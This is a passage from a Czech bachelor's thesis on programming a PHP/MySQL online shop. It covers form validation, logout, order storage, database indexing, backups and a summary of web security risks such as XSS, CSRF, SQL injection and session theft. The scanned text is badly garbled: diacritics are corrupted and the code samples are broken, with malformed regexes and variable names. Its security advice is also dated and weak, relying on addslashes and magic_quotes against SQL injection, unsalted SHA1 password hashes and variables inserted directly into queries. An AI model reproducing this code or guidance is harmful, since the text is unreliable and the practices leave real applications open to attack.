Protoze ho néktefi uzivatelé vypinaji, je provadéna i kontrola na Urovni PHP. Ovéfuje se,
zda uzivatelské jméno ma alespon 4 znaky, hesla alespon 6 a jsou obé shodna, zda jsou
vypInény daldi povinné Udaje a regularnimi vyrazy se ovéfuje format PSC, emailové adresy

a telefonu.

if (leregi(""~[0-9]1{3} 2[0-9]{2}8", $ POST['psc'])):
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if (leregi(""[a-z0-9]+[a-z0-9\. -]1*[a-z0-9]1+Q@[a-2z0-9]+[a-z0-9\. -]*[a-z0-
91+\.[a-z]{2,4}8", $ POST['email'])):

if (leregi ("~ (\+420)? ?[0-9]1{3} 2[0-9]{3} 2[0-9]{3}s$",
$ _POST['telefon'])):

Pokud uzivatel zapomnél nékteré Udaje vyplnit, ¢i jsou chybné, je upozornén na
nevyplnéné polozky nebo na U(daje v nepfipustném formatu. Soucasné je do
formularovych poli vypsan obsah dat z pole POST, aby uzivatel nemusel vSe vyplfiovat
znovu. Protoze data vypisujeme rovnou z POSTu, nesmime zapomenout pouZit uzivatelské

funkce do stripSlashes ($ POST); @ do htmlspecialchar ($ POST);

Také pfi vkladani uzivateld je problém s atomicitou operaci pfi zajisténi unikatniho

uzivatelského jména vyreSen pomoci unikatniho kli¢e nad sloupcem login.

Pomoci stejného formulare mdze uZivatel sva data také upravovat a ménit. V tomto
pripadé vSak neni dovoleno ménit uzivatelské jméno. Pfi kazdé upravé dat je
z bezpecnostnich dlvodl vyZzadovano zadani hesla, aby bylo ziejmé, Ze data méni

autorizovany uzivatel. UZivatelské heslo je opét do databaze ukladano jako shal hash.

5.2.2. Odhlaseni uzivatele

Odhlaseni uzivatele by se nemélo provadét prostym vypnutim okna prohlizece. Na serveru
by totiz zlstal soubor session obsahujici uZivatelské proménné. Je tfeba provést fadné
odhlaseni, tj. zrusit uzivatelskou relaci. To je nejlépe provadét nasledovné. V prvnim kroku
vytvorime, jak je obvyklé, spojeni s relaci pomoci session start (). Dale vynulujeme
veskeré session proménné volanim s SESSTION = array () ;. Pak zni¢ime samotny session

cookie prikazem
if (isset($ COOKIE[session name()])) {
setcookie (session name (), '', time()-42000, '/');
}
a nakonec volanim session destroy () ; odstranime samotny session soubor ze serveru.
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5.3. Odeslani objednavky

Poté, co je uzivatel prihlasen, mlze z koSiku pfistoupit k potvrzeni objednavky viz obrazek
5.3. Zobrazi se rekapitulace objednavky a uZivatel miZe zadat dodaci adresu, ktera je
implicitné vyplnéna z dat pro fakturacni adresu zadanych pfi registraci. Odeslanim

objednavky jsou data ulozena do tabulky cbjednavky @ objednavky info.

Do tabulky objednavky se uklada mimo jiného i cena zbozi, mnozstvi zbozi a sazba DPH.
V nékterych publikacich misto ceny a DPH ukladaji pouze ID zbozi a data pak naditaji
pomoci spojeni tabulek. Vzhledem k tomu, Ze se ale cena zbozi mlze ¢asem ménit (stejné
jako sazba DPH, ackoli to je méné pravdépodobné), povazuji za spravné ukladat cenu to
tabulky napevno. Zakaznik se pak nebude divit, ze je mu fakturovana jina Castka, nez za
kterou si nakoupil, pokud mezi objednavkou a fakturaci dojde u zboZi ke zméné ceny

napriklad kvdli zruseni slevy u zboZi.

V tabulce objednavky slouzi pro jednoznacné prifazeni objednavky k zakaznikovi dva
sloupce. Jednim je 1D uzivatele, kam je ukladan jedinecny identifikator nakupujiciho

a druhym sloupcem je cas, kam je ukladano casové razitko.

V tabulce objednavky info je opét uloZeno 1D uzivatele a Casové razitko vytvoreni
objednavky, aby se obé tabulky mohly pres tyto hodnoty spojit. objednavky info totiz
obsahuje Udaje o dodaci adrese, zplsobu platby a dopravy. To z toho ddvodu, abychom
nemuseli tato data vkladat ke kazdé poloZce objednavky do tabulky objednavky. Stejna
data by se tak opakovala na vice fadcich, coz by zbytecné snizovalo stupen normalni formy

reprezentace dat v tabulce.
PFi ukladani objednavky je potfeba oSetfit, aby byl do tabulky objednavky info uloZen
obsah pouze v pripadé, ze se povedlo ulozit i data do tabulky objednavky, coZ zajistime

testem proménné SQL, ktera obsahuje navratové hodnoty dotazu INSERT.

Po Uspésném odeslani objednavky jsou data z tabulky kosik vymazana.
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Z Casového razitka pouzitého pro identifikaci objednavky je mozné jednak ziskat datum
v Citelném formatu a mit tak prehled, kdy byla objednavka vytvorena, jednak toto
desetimistné Cislo slouzi ve spojeni s ID uzivatele jako Cislo objednavky sdélené uzivateli

za UcCelem pozdéjSich potreb.

Casové razitko je vlastné pocet vtefin, které ubdhly od 1.1.1970. Je to tedy pomérné
jedinecné Cislo, kterym je mozné objednavku oznacit. Je samoziejmé mozné, aby ve
stejné chvili ulozili objednavku dva rlzni lidé, a proto je identifikator objednavky tvoren

jesté pridanim ID uzivatele pred Casové razitko.

5.3.1. Problém roku 2038

Obecné slouzi ¢asové razitko vétSinou pro ukladani data, ne k identifikaci objednavek.
Néktefi programatoti davaji prednost ukladani data do typu DATETIME, DATE, apod., kde
je udaj ulozen rovnou v Citelné formé YYYY-MM-DD (00:00:00). V Evropé je spiSe zvykem
zobrazovat datum jako DD.MM. YYYY, je tedy potfeba format data pfi vypisu na webu
upravit, coz mlze byt trochu pracné&jsi. Mozna pravé proto pouzivaji néktefi pro ukladani
data unixové Casové razitko - desetimistné Cislo udavajici pocet vtefin od 1.1.1970
(pocatek unixové éry). Jeho formatovani do Citelné podoby je pomoci funkce date () velmi

snadné.

Problém je v tom, Ze unixové Casové razitko je definovano jako 32 bitovy integer, coz je
ovlivnéno pouZivanim 32bitovych procesorli. Maximalni mozna hodnota, ktera mlze byt
uloZzena, je 2 na 31 (1 bit je vyhrazen pro znaménko). Tzn. Ize uloZit maximalné
2147483647 vtefin od roku 1970. 2147483647 vtefin prevedeno na letopocet je
18.1.2038. Poté dojde k preteceni ¢asového razitka a datum se prepne do roku 1901, coz

mdZe zplsobit nemalé problémy nejen pocitactim, ale i ostatnim zafizenim.
Nicméné do té doby bude ziejmé Casové razitko diky prechodu na 64bitové systémy

predefinovano. ProtoZe v databazi pro ulozeni ¢asového razitka pouzivam INT unsigned,

kam je mozné uloZit az hodnotu 4294967295, nebude rok 2038 problémem.
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5.4. Prehled odeslanych objednavek

Prihlaseny uZivatel si miZe nechat vypsat prehled svych objednavek, kde kromé jiného vidi
stav objednavky. Stav mlze byt objednavka pfijata, objednavka se vyfizuje, objednavka
expedovana Ci vyrizena pripadné zrusena. Stavy méni obsluha administracniho systému

podle toho, v jaké fazi se objednavka nachazi.
Rozhrani vypisu objednavek je na obrazku 5.4.

5.4.1. Indexy

Na tomto misté bych rad zminil tvorbu indexd v databazovych tabulkach. PFi vypisu
objednavek, a to zejména detaild objednavek, jsou data ziskavana spojenim nékolika
tabulek. V pripadé detailu objednavky se jednd az o ctyfi tabulky — objednavky,
objednavky info, zbozi @ uzivatele. Ale i v jinych Castech internetového obchodu
a administracniho systému je mozné nalézt spojeni vice tabulek. Takové dotazy mohou
zplsobit vyssi zatiZzeni databazového serveru a tim prodlouzit Cas odezvy smérem
k uZivateli. Zrychleni docilime pouZitim indexd, pfiCemz je nutné vénovat pozornost

spravnému navrhu index{ jednotlivych tabulek.

Indexy funguji podobné jako zaloZky s pismeny v knihovné, podle kterych zjistime, v jaké
polici najdeme dila autorl zacinajicich pismenem a, b, ¢ atd. Index je tedy pomocna

datova hodnota, ktera urcuje poradi prvki v tabulce v zavislosti na jejich hodnoté.

Databazovy server pfi vyhledavani dat bez indexd musi prochazet celou tabulku (ktera
mdze byt vinternetovém obchodé znacné velikd) a kazdy Fadek porovnavat
s vyhledavacim parametrem (napriklad uzivatelskym jménem, chceme-li vypsat data
v zavislosti na loginu).

Pokud ale pouzijeme na sloupec login index, nemusi se prochazet tabulka cela, ale stejné
jako podle pismenné zalozky v knihovné zde podle indexu rychle najdeme hledanou oblast,

coz se kladné projevi na vykonu.
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S indexy je nutno pracovat uvazené. Obecné sice plati, ze zrychluji vyhledavani dat, na
druhou stranu zpomaluji vkladani a modifikaci. Neni proto dobré davat indexy vSude, ale
rozmyslet, zda bude z databaze vic ¢teno, nez do ni zapisovano. V internetovém obchodé

bude vice dochazet ke cteni nez zapisu, proto je zde indexovani tabulek zadouci.

Dotaz pro ziskani dat ve strance s detailem objednavky je nasleduijici:

mysqgl query ("SELECT

0.ID,ID zbozi,cena ks,mnozstvi,sazba dph,nazev,ulice,mesto,psc,stat,
dodani,platba,s.stav,i.stav AS stav_ID FROM objednavky o, objednavky info
i,objednavky stavy s,zbozi WHERE cas='S$obj' AND

ID uzivatele='S SESSION[usr ID]' AND ID zbozi=zbozi.ID AND

0.ID uzivatele=i.ID uziv AND i.stav=s.ID AND o.cas=i.objednavka ORDER BY
cas DESC");

Podobné komplikovany dotaz je i kompletni vypis objednavek uzivatele:

mysql query ("SELECT SUM(cena ks*mnozstvi) AS suma,cas,s.stav FROM
objednavky o,objednavky info i,objednavky stavy s WHERE
o.ID_uzivatele:‘$_SESSION[usr_ID]‘ AND o.ID uzivatele=i.ID uziv AND
o.cas=i.objednavka AND i.stav=s.ID GROUP BY cas ORDER BY cas");

Testovacim dotazem

EXPLAIN SELECT s.stav FROM objednavky o0, objednavky info

i,objednavky stavy s WHERE o.ID uzivatele=6 AND o.ID uzivatele=i.ID uziv
AND o.cas=i.objednavka AND i.stav=s.ID GROUP BY cas ORDER BY cas; Zjistime,

Ze tabulka objednavky i objednavky info

se prochazi Uplné celd (v tabulce objednavky 24 fadkl, v objednavky info 12 fadkd),
navic databazovy stroj pro ziskani dat pouziva docasnou tabulku a data musi setfidit ru¢né

viz obrazek 5.4.1 - hodnoty ze sloupce Extra (using temporary a using filesort).
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Zatézovy test

DO BENCHMARK (100000, (SELECT s.stav FROM objednavky o,objednavky info
i,objednavky stavy s WHERE o.ID uzivatele=RAND () AND

0.ID uzivatele=i.ID uziv AND o.cas=i.objednavka AND i.stav=s.ID GROUP BY
cas ORDER BY cas));

trva 5.53 vtefiny viz obrazek 5.4.1.b.

Po aplikovani index u tabulky objednavky v podobé& objednavky (ID uzivatele,
cas) a U tabulky objednavky info Na objednavky info (ID uziv, objednavka,
stav) ziskame stejnym dotazem EXPLAIN vysledek na obrazku 5.4.1.c. Zjistime, Ze
tabulky se nejen neprochazi celé (v tabulce objednavky 2 fadky, v objednavky info 2

radky), ale neni pouzita uz ani docasna tabulka a rucni razeni.

Zatézovy test BENCHMARK stejného znéni vraci ¢as 3.35 vtefiny viz obrazek 5.4.1.d, coz

predstavuje i u takto malych tabulek rozdil vice nez 2 vtefiny!

U podobnych testl na dotaz v detailu objednavek je rozdil jesté patrnéjsi. Bez indexd
zabral Cas potfebny k ziskani dat 5.99 vtefiny, zatimco s indexy 0.77 viz obrazek 5.4.1.e.

Testy je samozrejmé treba brat s rezervou, ve skutecném provozu mohou byt hodnoty jiné

a Casy ovliviiuje i momentalni vytizeni systému. Je ale zfejmé, Ze spravnym navrhem

index@ v tabulkach mizeme vykon zvysit znatelné.
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6. Zaloha dat

Pokud se bavime o bezpecnosti, je tfeba zminit i zalohu dat. Beéhem existence obchodniho
domu se mlze stat leccos, napriklad mdze dojit k selhani databazového serveru a obsah

databaze bude ztracen, pfipadné sam administrator mdze omylem smazat dlleZita data.

Poskytovatel hostingu vétSinou provadi zalohy sam, ale z hlediska bezpecnosti nasi
aplikace jsou zde urcité nevyhody. Napfiklad interval zaloh mize byt delsi, nez bychom
uvitali. Obnoveni dat ze zalohy mlze trvat fadové i nékolik hodin a v neposledni fadé je

treba vzit v Gvahu, Ze tato sluzba je placena.

V administra¢nim systému je proto k dispozici modul zaloha dat, ktery dava moznost

opravnénym uZzivatelm systému provadét zalohu svépomoci.

Pro zalohu dat se da pouzit napriklad pfikaz SELECT INTO OUTFILE, ktery umoznuje
vyexportovat vybrana data do textového souboru. Bohuzel tato metoda ma nékolik
nevyhod, napriklad skutecnost, ze soubor se vytvofi na databazovém serveru. Pokud uz je
soubor vytvoren, pfi dalsSim exportu neni mozné ho prepsat. Také je problém, ze se
zalohuji pouze data, nikoli indexy apod. a kromé toho je pravdépodobné, Ze nam

poskytoval hostingu ani nepridéli prava na provadéni takovychto zaloh.

Pro modul zédloha dat byl tedy vytvoren vlastni skript, ktery rozborem databaze dokaze
provést celkovy export. Vysledkem je sada souborl, kde kazdy je pojmenovan podle
tabulky, jejiz zalohu obsahuje. Kromé dat samotnych obsahuji soubory kompletni strukturu
tabulky vcetné znakovych sad pro porovnavani, vlastnosti sloupcl jako auto_increment,

unsigned apod., primarnich i fulltextovych indexd, indexu unique atd.
Rozhrani tohoto modulu je vidét na obrazku 6.

Exportovat se daji bud’ libovolné tabulky, které se vyberou zaSkrtnutim formularového

pole, nebo vSechny tabulky najednou. Soubory s daty se uloZi do adresare export na web
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uzivatele. Pfipona souborl je .php, opét z toho dlvodu, aby je nemohl nikdo otevrit
z prohlizeCe a precist data uvnitf. Kazdy exportovany soubor krom zalohy obsahuje
requirem zahrnuty skript s kontrolou opravnéného prihlaseni. Neni tedy mozné, aby byl

soubor vykonan volanim z prohlizece, pokud neni uzivatel platné prihlasen.

Exportovanou zalohu je mozné z administracniho systému stahnout kliknutim na ikonu
vedle nadzvu zélohy viz obrazek 6a. To je umoznéno za pomoci zaslani specialnich hlavicek.

Uzivatel ma tedy moznost zalohu stahnout k sobé a ulozit napf. na CD.

Zalohu je mozné také importovat, pokud je trfeba viz rozhrani na obrazku 6b.
Z bezpecnostnich dlvodl vsak administracnim systém neni moZné importovat tabulku
admin a nelze pfimo importovat ani data ze souborll, ktera si uzivatel stahl do svého
poCitate. Import pomoci rozhrani je mozné provést pouze ze soubord uloZenych
v hostingovém prostoru, kde se vytvorily pfi exportu. Import tabulky admin Ci zalohy z dat
uzivatelem stazenych je mozné provést pouze ve spolupraci s autory administracniho
systému, coz je ale v kazdém pripadé rychlejsi i levnéjSi nez v pfipadé obnovy dat

poskytovatelem databdaze z jeho zaloh.
Bezpecnost je mozno vyrazné posilit nastavenim zaloh na automatické spousténi, napfiklad

pfi kazdém vstupu do administracniho systému. Vylouci se tim riziko, Ze uzivatelé budou

zalohu provadét nepravidelng, pfipadné vibec, nebo azZ po pfipadné ztraté dat.
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7. Shrnuti a zaver

Pfi programovani internetového obchodu vcetné jeho administracniho rozhrani jsem se
snazil pokud mozno co nejvhodnéji navrhnout a popsat jednotlivé ¢asti systému. V takto
sloZitém celku se vyskytuje fada prvkd, které mohou byt vyuzity ¢i zneuZity potencidlnim

Utocnikem, a proto existuji urcitad bezpecnostni rizika, ktera je treba resit.

Zejména je treba védét o spravném zahrnovani souborl, u kterych neni vhodné pouzivat
jinou koncovku nez .php, aby se vyloucila moZnost jejich c¢teni volanim z adresového

fadku.

Vyznam prikldadam znalosti fungovani direktivy register_globals, ktera pfi nastaveni na On
vytvafi ze superglobalnich proménnych proménné globalni a mlze byt za urcitych
okolnosti, kdy disledné neinicializujeme proménné, zdrojem neptijemnosti s modifikacemi

proménnych.

Nutna je obrana proti session stealing, které spociva ve zcizeni identifikatoru session a tim
padem i vSech session proménnych. Identifikdtory se daji ziskat jak z URL adresy,
z hlavicky referer, z hlavicky s autorizacnim cookie Ci dokonce z nékterych vyhledavaca.
Samotné podvrzeni session id pak miZze probihat zadanim do adresového radku, pokud
neni pomoci funkce ini set () vkladani PHPSESSID do URL zakézano. Utocnik si ale také
mlze identifikator ulozit do paméti prohlizeCe a az poté volanim nasi aplikace preda
session klasicky v cookies. Pro zabranéni zcizeni identity je tfeba doplfovat aplikaci o dalsi

kontroly, napriklad pomoci IP adresy.

Zcizeni session identifikatoru Ize predchazet napriklad také reSenim problému zvaného
Cross Site Scripting (XSS), ktery spociva v podstréeni skodlivého kédu do stranky. To se
déje zejména kvdli neoSetrenému vystupu uZzivatelskych dat na stranku. OSetreni dat mize
probihat napf. pomoci funkce htmlspecialchars() Nebo htmlentities (). NeoSetfeni
dat mlze vést ke zcizeni sessions, obtézovani uZivatelll projevy Skodlivého kodu ve

strance, ukladani informaci o uZivatelich ¢i znepfistupnénim stranky atd.
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S ohledem na session je dobré se ujistit, Ze server, kam hodlame web umistit, uklada
session kazdého webu na jeho hostingovy prostor. V pfipadé ukladani session do
spolecného adresare lze totiz v nékterych pfipadech ziskat veSkerda data ze session

proménnych na celém serveru. Mezi nimi mohou byt i citlivé uzivatelské udaje.

U atoku typu Cross-Site Request Forgery je tfeba mit na paméti, ze je vykonavan
z pocitace napadeného a pomoci jeho okna prohlizece, Cili kontroly session identifikatoru Ci
IP adresy zde selhavaji. Oboji totiz odpovida skutecné platnému uzivateli. V takovych
pfipadech je tfeba zavést dalSi bezpecnostni mechanismy, jako je naptiklad generovani
autorizacniho tokenu, jehoz kontrolou se da zamezit vykonavani nechténych cinnosti, které

mohou probihat v pozadi bez védomi napadeného.

Utocnici se mohou snazit také modifikovat SQL dotazy Gtoky typu SQL injections, které
spocivaji v podstréeni dalSich SQL prikazd do stavajiciho kdédu aplikace za ucelem
poskozeni Ci ziskani dat z databaze. Témto Utokim se Ize branit jednak kontrolou
vstupnich dat od uzivateld, napfiklad pomoci testovani, zda ID predavané metodou GET je
opravdu pouze Ciselnd hodnota atp., ale Ize vyuzit i direktivy magic_quotes_gpc, ktera
pred jednoduché i dvojité uvozovky a zpétna lomitka vklada zpétné lomitko, ¢imz tyto
kolizni znaky potlaci. Pfipadné se da pouzit také funkce mysql real escape string(),
kterd ma podobny efekt. Pokud je magic_quotes_gpc vypnuta, Ize stejnou véc osetrit

volanim funkce addslashes (), kterou budeme osSetfovat veskera vstupni data.

Kromé vySe uvedenych utokl je potfeba dbat i na dalsi bezpeCnostni zasady. Napfiklad do
databaze neukladat hesla a jiné citlivé Udaje v jejich citelné podobé, ale jako hashovou
hodnotu Sifrovacich funkci jako SHA1, SHA2 atp. Casto je pouzivana také oblibend funkce
md5, nicméné u té byly objeveny bezpecnostni trhliny a bylo doporuceno ji prestat

pouzivat.
V administrac¢nim systému je pro vétsi bezpecnost zaveden modul nastaveni, kde je mozné

vytvaret vice uZzivatelskych uctd s rliznymi pravy pfistupu k modullm. Zajistime tak, aby

napf. pomocna sila na vkladani zbozi neméla pristup k objednavkam atp.
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Krom toho je v kazdé strance administracniho rozhrani zahrnut skript pro kontrolu
opravnéného prihlaseni, ktera porovnava data uloZend v session s daty v databazi
a vyhodnocuje, zda uzivatelské prihlaseni obsahuje spravné Udaje a zda ma uZivatel

dostatecna prava k vykonu pozadovanych skriptd.

PFi vkladani souborll pres formularové pole file je zapotrebi kontrolovat, jestli je vkladan

povoleny typ souboru, napfiklad Ze se jedna pouze o obrazek a nikoli podvrzeny skript.

U registrace uZivatele je dobré testovat pomoci regularnich vyraz{, zda napriklad telefon
a email odpovidaji platnému tvaru, abychom mohli uzivatele v pfipadé potieby
kontaktovat. PFfi zménach v uzZivatelském Uctu je z bezpecnostnich dGvodd vzdy

vyzadovano stavajici heslo, aby zmény mohl provadét pouze povéreny uZivatel.

U vkladani zbozi do kosiku a ukladani objednavek je treba zajistit jednoznacnou identifikaci
nakupu, tzn. oznadit polozky tak, aby si uZivatelé navzajem do koSikl a objednavek
nezasahovali. To Ize provést pfi nakupu pomoci session identifikatoru a IP adresy a pozdéji

pomoci Cisla objednavky tvoreného ¢asovym razitkem a ID uZivatele.

Nakonec je nutné mit moznost zalohovat sva data. Administracni systém je proto vybaven
modulem pro zalohu celé databaze a to dat i tabulek a jejich struktury. Z bezpecnostnich
dGvodd ovsem neni mozné importovat soubory uzivatelem stazené do pocitaCe, protoze by
mohly byt modifikovany. Pfes administracni rozhrani je mozné bez podpory tvircl webu

importovat pouze soubory uloZzené po exportu na serveru.

Co se tyCe vysloveného cile o naprogramovani univerzalnich modull internetového
obchodu a hypotézy o usSetfeni ¢asu a prace na jejich budoucim zaclenéni do e-obchodu
pro konkrétniho zakaznika, na zakladé vyvoje projektu je mozné potvrdit dosaZeni cile

a platnost hypotézy.
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Na tomto misté bych rad podékoval vedouci mé bakalarské prace Ing. Katefiné Jenickové

za ochotu, cenné rady a Cas, ktery vénovala mé praci.
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